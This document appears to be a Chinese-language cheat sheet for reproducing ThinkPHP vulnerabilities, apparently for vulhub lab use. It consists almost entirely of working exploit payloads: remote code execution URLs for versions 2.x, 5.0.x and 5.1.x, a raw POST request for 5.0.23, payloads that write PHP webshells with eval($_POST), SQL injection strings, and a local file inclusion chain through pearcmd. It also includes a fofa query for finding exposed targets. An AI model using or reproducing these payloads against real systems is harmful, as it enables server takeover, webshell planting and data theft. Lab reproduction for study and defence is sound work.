thinkphp漏洞复现

ThinkPHP 2.x 任意代码执行漏洞

1、ThinkPHP 2.x版本中，使用preg_replace的/e模式匹配路由,导致代码执行

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

2、抓包或者使用插件查看一下有没有php的版本号，上面有介绍过，那个命令执行的触发条件<=php5.6.29

3、漏洞利用
payload：

http://xx.xx.xx.xx:8080/index.php?s=/index/index/xxx/${@phpinfo()}
http://xx.xx.xx.xx:8080/index.php?s=/Index/index/xxx/${@print(eval($_POST[1]))}  可以直接菜刀连接

Thinkphp5 5.0.22/5.1.29 远程代码执行

参考
https://xz.aliyun.com/t/3570
https://www.cnblogs.com/miansj/p/14639276.html

1、payload

http://xx.xx.xx.xx:xx/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

2、大佬通杀payload

两个通杀payload

版本号：5.0.8~5.0.19
payload:s=whoami&_method=__construct&filter&filter=system
​
版本号：5.0.20~5.0.23
payload：_method=__construct&filter[]=system&method=get&server[REQUSET_METHOD]=whoami
​

5.1.x php版本>5.5:

http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert
​
http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
​
http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=
​

5.0.x php版本>=5.4:

exp0 = '/index.php/?s=index/\\think\\template\driver\\file/write&cacheFile=zxc0.php&content='
​
exp1 = '/index.php/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]='
​
exp2 = '/index.php/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo \'\'>zxc2.php'
​

pay

http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
​
http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
​
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
​
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=操作系统命令
​
http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
​
http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
​
http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令
​
http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
​

5.1.x php版本>5.5

http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert
​
http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
​
http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=
​

写shell：

?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo \'\'>zxc2.php'
​
?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>

ThinkPHP5 5.0.23 远程代码执行

payload

POST /index.php?s=captcha HTTP/1.1
Host: xxxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: en
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

ThinkPHP5 SQL Injection Vulnerability && Sensitive Information Disclosure Vulnerability

1、该漏洞形成最关键的一点是需要开启debug模式，而Tp官方最新的版本5.0.9默认依旧是开放着调试模式
2、SQL信息泄露

payload:?ids[0'\]=1

3、SQL注入漏洞

payload:?ids[0,updatexml(0,concat(0x7e,user(),0x7e),0)]=1

ThinkPHP Lang Local File Inclusion

https://www.freebuf.com/vuls/352360.html

fofa header="think_lang"

payload: /?lang=../../../../../public/index 回复500说明漏洞存在
写入shell /index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo();?>+shell.php

环境直接使用vulhub搭建